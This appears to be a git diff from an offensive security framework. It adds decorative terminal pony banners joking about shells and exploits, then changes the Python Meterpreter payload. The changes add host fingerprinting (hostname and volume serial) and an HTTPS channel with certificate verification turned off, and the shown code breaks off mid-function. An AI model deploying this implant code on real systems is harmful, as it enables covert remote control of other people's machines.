[38;5;95m▄[48;5;95m█[48;5;137;38;5;101m▄[48;5;101;38;5;144m▄[48;5;144m████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137;38;5;137m██[48;5;101;38;5;101m█[48;5;144;38;5;144m████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;95;38;5;95m█[48;5;137m▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [48;5;95;38;5;95m█[48;5;137m▄▄[48;5;101;38;5;101m█[48;5;144;38;5;144m█████[48;5;101;38;5;101m█[49;39m [00m
|
||||
[48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [48;5;101;38;5;101m█[48;5;144m▄▄▄▄▄[48;5;101m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,27 @@
|
|||
[0m[0m ______________________________ [0m
|
||||
[0m< I love SHELLS![0m >[0m
|
||||
[0m ------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;54m▄▄[48;5;54m██[38;5;97m▄[38;5;54m█[38;5;90m▄[38;5;251m▄[38;5;90m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;251m▄[48;5;251;38;5;255m▄[48;5;255;38;5;251m▄[48;5;251;38;5;90m▄[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[49;38;5;251m▄[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;97m▄[38;5;133m▄[48;5;133;38;5;54m▄[49m▀[39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;255m▄[48;5;255m█[48;5;251m▄▄[48;5;255m█[38;5;16m▄[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;54m▄[48;5;97;38;5;54m▄▄[48;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;54m█[48;5;255;38;5;255m█[38;5;16m▄▄[48;5;16;38;5;117m▄[48;5;255;38;5;255m█[48;5;117;38;5;117m█[48;5;16;38;5;16m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;54m▄[48;5;255;38;5;251m▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;54;38;5;54m██[48;5;255;38;5;16m▄[48;5;16;38;5;117m▄[48;5;117;38;5;16m▄[38;5;117m██[48;5;255m▄[38;5;255m█[48;5;117;38;5;16m▄[48;5;16;38;5;251m▄[49;38;5;16m▀[39m [00m
|
||||
[38;5;54m▄▄[48;5;54;38;5;97m▄▄[38;5;133m▄▄▄▄[49;38;5;54m▄▄[39m [48;5;54;38;5;54m██[38;5;133m▄[48;5;133m█[38;5;54m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255;38;5;255m█[48;5;16m▄▄▄▄▄[48;5;255m██[48;5;251m▄▄[38;5;251m█[49;39m[00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;90m▄[48;5;90;38;5;97m▄▄▄[38;5;133m▄[48;5;97m▄▄▄[48;5;133;38;5;97m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;133;38;5;97m▄▄▄[48;5;97m█[48;5;54;38;5;54m█[38;5;255m▄[48;5;255m█████[38;5;251m▄[48;5;251;38;5;125m▄▄[49;38;5;251m▀▀[39m [00m
|
||||
[38;5;54m▄[48;5;54;38;5;97m▄[48;5;97m█[48;5;54;38;5;54m█[48;5;90;38;5;90m██[48;5;97m▄[38;5;54m▄[48;5;54;38;5;97m▄[38;5;133m▄▄▄▄[48;5;97;38;5;54m▄[48;5;54;38;5;133m▄[49;38;5;54m▄[39m [48;5;54;38;5;54m█[48;5;97;38;5;97m█[48;5;54;38;5;133m▄[48;5;90;38;5;54m▄▄[48;5;54;38;5;255m▄[48;5;255m██████[48;5;251;38;5;251m█[48;5;209m▄[48;5;125m▄[49m▄[39m [00m
|
||||
[48;5;54;38;5;54m█[48;5;97;38;5;97m██[48;5;54;38;5;54m██[48;5;90m▄[48;5;54;38;5;90m▄[48;5;97m▄[38;5;54m▄▄[49m▀▀[48;5;133m▄▄[48;5;54;38;5;133m▄[38;5;251m▄[49m▄▄[48;5;54;38;5;54m█[48;5;133;38;5;133m█[48;5;97;38;5;54m▄[48;5;133m▄[48;5;54;38;5;97m▄[38;5;54m█[48;5;255m▄[38;5;255m███[48;5;251m▄[38;5;251m█[49m▀▀▀[39m [00m
|
||||
[48;5;54;38;5;54m██[48;5;97;38;5;97m██[48;5;54m▄[38;5;54m█[48;5;90m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;117m▄[38;5;255m██[48;5;54m▄[48;5;133;38;5;54m▄[48;5;54m█[38;5;97m▄[38;5;133m▄[48;5;97;38;5;54m▄[48;5;90;38;5;90m█[48;5;54;38;5;54m█[48;5;255m▄[38;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[48;5;97;38;5;54m▄▄[38;5;97m█[48;5;54m▄▄[49;38;5;54m▄[39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74m▄[48;5;255m█[38;5;74m▄[38;5;255m█[48;5;54;38;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[48;5;54;38;5;97m▄▄▄[38;5;54m█[38;5;255m▄[48;5;255m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[38;5;97m██[48;5;54m▄[48;5;97;38;5;54m▄[38;5;97m██[48;5;54m▄[38;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m█[48;5;74;38;5;117m▄[48;5;255;38;5;255m█[48;5;117m▄[48;5;255m█[48;5;54;38;5;54m█[48;5;97m▄[38;5;97m█[48;5;54m▄▄[38;5;54m█[48;5;255;38;5;255m███[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;54;38;5;54m█[38;5;97m▄[38;5;54m█[48;5;97m▄[38;5;97m███[48;5;54m▄[48;5;97;38;5;54m▄[48;5;54m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m███[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m█[48;5;54m▄▄▄[48;5;255m██[38;5;251m▄[48;5;251m█[49;39m [00m
|
||||
[38;5;54m▄[48;5;54m██[49;39m [48;5;54;38;5;54m██[48;5;97;38;5;97m█[48;5;54m▄[38;5;54m██[48;5;97m▄[38;5;97m██[48;5;54;38;5;54m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄▄[48;5;255m█[38;5;251m▄[48;5;251;38;5;254m▄▄[38;5;251m█[49m▀▀[48;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄[48;5;54;38;5;97m▄[38;5;54m█[49m▄[48;5;54m█[38;5;97m▄[48;5;97;38;5;54m▄[38;5;97m█[48;5;54m▄[38;5;54m██[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m██[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m██[48;5;251;38;5;251m█[48;5;254;38;5;254m█[48;5;251;38;5;251m█[49;39m [00m
|
||||
[38;5;54m▀[48;5;97m▄▄[49m▀[48;5;54m█[48;5;97;38;5;97m█[48;5;54m▄[48;5;97;38;5;54m▄[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m█[38;5;251m▄[49m▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;54m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m█[49m▀▀▀[39m [38;5;251m▀[48;5;255m▄[38;5;255m███[48;5;251;38;5;251m█[49m▀▀▀[39m [00m
|
||||
[38;5;251m▀▀▀▀▀▀[39m [38;5;251m▀▀▀[39m [00m
|
|
@ -0,0 +1,29 @@
|
|||
[0m[0m ____________________________________ [0m
|
||||
[0m< My Little Pwny: Exploits are Magic[0m >[0m
|
||||
[0m ------------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;238m▄▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄▄[38;5;96m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[48;5;60m▄[48;5;238;38;5;60m▄▄[48;5;60;38;5;238m▄[38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[48;5;60;38;5;238m▄[38;5;60m█████[48;5;238m▄[48;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;238m▄▄[48;5;60;38;5;238m▄▄▄▄▄[48;5;238;38;5;96m▄[38;5;60m▄[48;5;60m██[38;5;238m▄[49m▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;96m▄[48;5;139;38;5;139m████[48;5;16m▄[48;5;139;38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;96;38;5;16m▄[48;5;139m▄[38;5;139m██[48;5;96m▄[48;5;60;38;5;96m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m████[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;16;38;5;16m██[48;5;231;38;5;231m██[48;5;96;38;5;96m█[48;5;16;38;5;16m█[48;5;231;38;5;231m█[48;5;16;38;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;60;38;5;60m██[48;5;238;38;5;238m█[49;39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m███[48;5;96;38;5;238m▄[48;5;139;38;5;139m███[38;5;16m▄[48;5;231;38;5;231m██[48;5;96;38;5;139m▄[48;5;231;38;5;16m▄▄[48;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;38;5;238m▀▀[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [38;5;238m▀[48;5;60m▄[38;5;60m██[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m██[38;5;96m▄[48;5;231;38;5;139m▄[38;5;231m█[48;5;182m▄[48;5;16;38;5;139m▄[48;5;231;38;5;96m▄[48;5;16;38;5;139m▄[48;5;139m██[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▀[48;5;60;38;5;60m█[38;5;238m▄[38;5;60m██[48;5;238;38;5;238m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139m█[48;5;231m▄▄▄[48;5;139m█[38;5;96m▄[38;5;139m██[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[38;5;238m▄[49m▀▀▀[48;5;60m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▄[48;5;60m▄[38;5;60m█[48;5;238m▄▄[48;5;60m█[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m█[38;5;96m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▀[48;5;60;38;5;96m▄[48;5;238;38;5;139m▄[48;5;96m▄▄▄[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m█[48;5;238;38;5;238m█[48;5;60m▄▄[48;5;238;38;5;139m▄[48;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▄▄[39m [38;5;96m▄[48;5;96;38;5;139m▄[48;5;139m█████[48;5;238m▄[48;5;60;38;5;238m▄▄[48;5;238;38;5;139m▄[48;5;139m█████[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███████[48;5;238m▄[48;5;60;38;5;238m▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██████████████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m██████[38;5;238m▄▄▄[49m▀[39m [38;5;96m▀[48;5;139m▄[38;5;139m████[48;5;96;38;5;96m█[48;5;139;38;5;139m███████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▄▄[48;5;238m█[48;5;60;38;5;60m███[38;5;238m▄▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [38;5;96m▄[48;5;96m█[48;5;139;38;5;139m██[38;5;96m▄[48;5;96m█[48;5;139m▄▄▄▄[38;5;139m██[38;5;96m▄[48;5;96m██[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m█[48;5;238;38;5;238m█[48;5;60;38;5;60m██[38;5;238m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[38;5;139m▄[48;5;139;38;5;96m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m██[48;5;238;38;5;238m█[49m▀▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139;38;5;96m▄[48;5;96;38;5;139m▄[49;38;5;96m▄[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄▄▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,24 @@
|
|||
[0m[0m ______________________ [0m
|
||||
[0m< FREE SHELLS FOREVER!!![0m >[0m
|
||||
[0m ---------------------- [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;161m▄[48;5;161m██[38;5;204m▄▄[49;38;5;161m▄[39m [38;5;161m▄▄▄[39m [00m
|
||||
[0m\[0m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;175m▄▄▄[48;5;161;38;5;204m▄▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄[38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m██[48;5;161m▄[48;5;204m█[48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄▄[38;5;161m█[38;5;204m▄[48;5;204;38;5;161m▄[38;5;204m██[38;5;161m▄▄[48;5;161;38;5;218m▄▄▄▄▄[48;5;175m▄[48;5;218m█[48;5;211;38;5;175m▄[48;5;218;38;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄▄[48;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[48;5;161;38;5;218m▄[48;5;218m██[38;5;175m▄[38;5;16m▄▄[38;5;218m█[38;5;16m▄[38;5;218m██[48;5;175m▄[48;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161m█[38;5;204m▄▄▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;161;38;5;16m▄[48;5;218;38;5;218m██[38;5;16m▄[48;5;16;38;5;218m▄[48;5;218m███[48;5;16m▄[48;5;218;38;5;16m▄▄[38;5;218m█[38;5;175m▄[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161;38;5;204m▄▄▄▄[49;38;5;161m▄[48;5;161m█[38;5;204m▄[48;5;204m█[38;5;161m▄▄▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;16;38;5;16m█[48;5;218;38;5;218m██[48;5;16;38;5;16m█[48;5;218;38;5;218m█████[48;5;175;38;5;16m▄[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄▄▄[38;5;204m█[48;5;161m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;175m▄[48;5;175m█[48;5;16m▄[48;5;175;38;5;218m▄[48;5;218m█[48;5;175m▄[48;5;218m████[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄▄[48;5;204m█[48;5;161m▄▄▄[49;38;5;161m▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m████[48;5;161;38;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m█████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;211;38;5;175m▄[48;5;218;38;5;218m████████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄[38;5;204m███[38;5;161m▄[48;5;161m██[38;5;204m▄[48;5;204;38;5;161m▄[48;5;161m█[48;5;204;38;5;204m█████[38;5;161m▄▄[38;5;204m████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▄▀[39m [38;5;175m▀▀[48;5;175m█[48;5;218m▄▄▄▄▄[38;5;218m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[38;5;175m▄[48;5;204;38;5;204m█[48;5;161;38;5;161m██[48;5;204m▄[38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[49m▀[39m [00m
|
||||
[38;5;204m▀[39m [48;5;175;38;5;175m█[48;5;218;38;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m██[38;5;161m▄▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;218m▄▄[48;5;218;38;5;228m▄▄[48;5;175;38;5;218m▄[49;38;5;175m▄[39m [38;5;161m▀▀[48;5;204m▄▄[48;5;161m█[48;5;204m▄▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[48;5;218;38;5;161m▄[38;5;218m███[48;5;228m▄[48;5;218;38;5;81m▄[48;5;175m▄[38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161m▄[49;38;5;161m▄[39m[00m
|
||||
[48;5;175;38;5;175m█[48;5;161;38;5;218m▄[48;5;204;38;5;161m▄[38;5;204m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;218m▄[48;5;218m█[38;5;175m▄[48;5;81;38;5;81m█[48;5;218;38;5;218m█[48;5;81;38;5;228m▄[38;5;218m▄[48;5;175;38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[38;5;161m█[38;5;204m▄▄▄[38;5;161m█[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m[00m
|
||||
[48;5;175;38;5;169m▄[48;5;218m▄[48;5;161;38;5;218m▄[38;5;161m█[38;5;204m▄[48;5;218;38;5;218m████[48;5;175;38;5;175m█[48;5;228;38;5;218m▄[48;5;218m███[48;5;175;38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[38;5;204m███[48;5;161;38;5;161m██[48;5;204m▄▄[48;5;161m██[49m▀[39m[00m
|
||||
[38;5;169m▄[48;5;169m█[38;5;175m▄[48;5;175;38;5;218m▄▄[48;5;161m▄[38;5;161m█[48;5;218;38;5;218m█[48;5;175;38;5;175m█[49m▀[48;5;175;38;5;169m▄[38;5;175m█[48;5;218m▄[38;5;218m███[48;5;175;38;5;175m█[38;5;218m▄[38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[48;5;161m█[48;5;204m▄▄[38;5;204m██[48;5;161;38;5;161m█[49;39m [38;5;161m▄[39m[00m
|
||||
[38;5;169m▄[48;5;169;38;5;211m▄[48;5;211m█[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄▄[48;5;161m▄[49m▀[48;5;169;38;5;169m█[38;5;211m▄[48;5;211m██[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄[49m▀[39m [38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[38;5;161m▄[48;5;161m█[49m▄▄[48;5;161m█[49;39m[00m
|
||||
[48;5;169;38;5;169m█[48;5;211m▄[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [48;5;169;38;5;169m█[48;5;211;38;5;211m██[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m███[38;5;175m▄[49m▀[39m [38;5;161m▀[48;5;204m▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [38;5;169m▀▀[48;5;175;38;5;175m█[48;5;218;38;5;218m█████[48;5;175;38;5;175m█[49;39m [00m
|
||||
[38;5;175m▀▀▀▀▀▀[39m [38;5;175m▀▀▀▀▀▀[39m [00m
|
||||
[00m
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,7 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
import os
|
||||
import platform
|
||||
import random
|
||||
import select
|
||||
import socket
|
||||
|
@ -141,6 +142,8 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
|||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
|
@ -264,7 +267,7 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
|
@ -393,11 +396,17 @@ class PythonMeterpreter(object):
|
|||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
|
@ -560,6 +569,36 @@ class PythonMeterpreter(object):
|
|||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_machine_id(self, request, response):
|
||||
serial = ''
|
||||
machine_name = platform.uname()[1]
|
||||
if has_windll:
|
||||
from ctypes import wintypes
|
||||
|
||||
k32 = ctypes.windll.kernel32
|
||||
sys_dir = ctypes.create_unicode_buffer(260)
|
||||
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
|
||||
return ERROR_FAILURE_WINDOWS
|
||||
|
||||
vol_buf = ctypes.create_unicode_buffer(260)
|
||||
fs_buf = ctypes.create_unicode_buffer(260)
|
||||
serial_num = wintypes.DWORD(0)
|
||||
|
||||
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
|
||||
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
|
||||
None, fs_buf, ctypes.sizeof(fs_buf)):
|
||||
